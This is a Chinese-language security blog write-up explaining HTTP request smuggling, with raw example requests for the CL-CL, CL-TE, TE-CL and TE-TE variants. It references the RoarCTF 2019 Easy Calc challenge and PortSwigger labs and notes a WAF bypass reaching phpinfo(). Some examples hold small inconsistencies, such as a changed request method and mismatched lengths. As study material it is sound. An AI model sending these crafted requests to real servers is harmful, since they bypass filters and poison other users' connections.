初识HTTP请求走私是在 [RoarCTF 2019]Easy Calc 这道题中遇到,此题两种绕过waf的方法,其中一个就是请求走私。
HTTP /1.1开始,我们有两种传数据的方法,一般来说都是
那什么是keepalive
首先,我们知道,访问一个网页往往有很多的请求,包括图片、js等等,那如果每次的请求都开启一个TCP的连接,会有很大的浪费,这个时候,http的keepalive出现了,他允许一个TCP中存在多个HTTP请求,当我请求1发送完毕时,TCP不会关闭,此时它会等待下一个请求,这个方法也叫TCP的复用(重载)。
它的机制是:请求1->响应1->请求2->响应2…
我们可以发现,如果多个请求发送时需要等上一个响应结束才能开始自己的请求,这个时候出现了pipeline
pipeline
它可以:
请求1->请求2->响应1->响应2
提高了数据传输的效率
ngnix服务器中会有个buffer(缓冲区),它将所有请求放入其中,然后以队列的形式进行解析响应,请求1的数据读完后进行响应,然后继续读下一个请求。虽然现在请求中很少见到这种请求方式,但是服务器是默认解析的,如果代理服务器和源服务器之间对HTTP解析规则不一样,不遵守RFC7230中的规定,请求走私也就从这里开始。
解析规则:
1.Content-Length:post这个length就有多长,如果是这种解析,那么他读到那个长度就停了,师傅们抓包应该是见过了,当然不包括请求头和数据体间隔的那一行,我们也可以把bp的自动更新CL的关了(选项卡里面的repeat)方便后续操作
Transfer-Encoding:
0\r\n
\r\n \r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r
当服务器如果是采用Transfer_Encoding:Trunk,那么读到这里就会停了,我们发包可以直接0回车,回车,十六进制查看时有0a就行
首先,一定要保证第一个请求中是包含第二个请求的
分五种类型:
这里用GET请求举例(并不是说只有接收POST的才行,只要能接收请求携带的请求体就ok)。前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
构造请求示例:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 47\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
代理服务器认为它是一个请求,然后请求体就是下面那些东西。但是到了源服务器,变为了两个请求
请求1
GET / HTTP/1.1\r\n
Host: test.com\r\n
请求2
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
第一次发包是把所有的东西发过去了,响应的是请求1,当我们再次去发包的时候,缓冲区的请求2被响应出来。后面就不构造请求了,有点麻烦。
CL-CL型
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
Content-Length: 6\r\n
asdf\r\n
a
第一个服务器解析第一个CL,请求为
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
asdf\r\n
a
于是传递到第二个服务器,服务器解析第二个CL,这个时候,缓冲区的请求变为
请求一:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
asdf\r\n
请求二:
a
当用户在此发起请求时,例如POST
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
这个时候就完成了一种投毒。
存在一个疑问:为什么除了自己、其他用户去访问它,也会出现403报错?
答:因为我们知道,我们访问源服务器其实中间过了个代理服务器,所有用户的请求都是先到代理服务器,代理服务器来转发,所以代理服务器和源服务器之间是一条TCP,而不是一个用户对应一条TCP,所以这种方法就可以影响服务器的正常运行
前端服务器接受CL的解析,而后端遵守了RFC7230中的规定,如果有TE和CL那么要用TE覆盖,并且停止转发到下游,立刻停止连接,这个时候已经来不及了,没啥下游了。所以后端就是读TE
在POST的数据包里构造恶意的请求
POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
0\r\n
\r\n
a
代理服务器的解析视角,如上
源服务器的解析
请求1
POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
0\r\n
\r\n
请求2
a //a在缓冲区里面等待下一个请求
前端解析TE,后端又解析CL
POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
abcde
0\r\n
\r\n
源服务器视角
请求1
POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 4\r\n
abcd
请求2
e
这里前后端都会处理TE(符合了RFC7230的做法但是没有终止),所以要混淆服务器,让其中一个无法用TE去解析。这个时候又变成了TE-Cl或者CL-TE类型的了
有小伙伴会问:不是读到0\r\n \r\n 就结束了嘛,为啥会出现两个TE,只要让服务器只能解析一个就好了,另外一个不能解析的就随便写
Transfer-encoding: 123123123rn
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: 123132123\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
x=1\r\n
0\r\n
\r\n
前端解析TE,接受的请求
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: 123132123\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 16\r\n
x=1\r\n
0\r\n
\r\nn
后端的视角
请求1
POST / HTTP/1.\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: 123132123\r\n
5c\r\n
请求2
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 16\r\n
x=1\r\n
0\r\n
\r\n
那请求2由于没有apost这个方法,就会返回403.
CL-TE
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
现在改成
Content-Length: 6
Transfer-Encoding:chunked
0
A
第一个请求过去返回正常,但是A相当于存在在了缓冲区里,再次访问时返回200,因为缓冲区里已经干净了
那么我们构造两个请求达成一些目的呢?
第一次回显肯定是正常的,因为传的参数啥都没干,第二次请求,就把数据包里面的请求带出来了,也不会有什么变化,第三次,留的a和请求粘在一起,报错。我们第二次那个请求不就可以放一些含有payload的请求了吗?因为代理服务器那关我们已经过去了,下面就是下一题
TE-CL
我们这里构造的走私是去访问rookie,已知rookie不存在
(构造的请求包)
第一次正常回显,再次访问时,缓冲区还有POST这个请求,就先执行了这个去rookie的请求
(第二次访问回显可以看到的确是404)
再次访问
我怀疑是因为读到了
0\r\n
\r\n
后,0留在了里面,所以当我们访问的时候POST就接到了这里
如果改成get
返回400
最后发现两个请求必须要一致,不然就会像这样。如果有师傅知道原因,还望指点。
再点个题
那道easy calc的题
直接说原因了,因为waf接受POST又接收GET,所以可以携带请求体,但是又有两个CL,根据规定,回显了个400,无法正常解析,但是还是把数据包发了过去,源服务器它接收get的num,所以上面是?num=phpinfo();
最后,教大家怎么数CL
把请求体放到word里面,左下角
点三个字那里
字符数(计空格)
OK了
如果有不对的地方,还望师傅们斧正
本文章参考:
https://datatracker.ietf.org/doc/rfc7230/?include_text=1
https://blog.csdn.net/a3320315/article/details/102937797
(始发于BUGFOR社区https://www.bugfor.com/vuls/4075.html)
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/131/
最后修改时间:2021-05-19 21:35:05
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!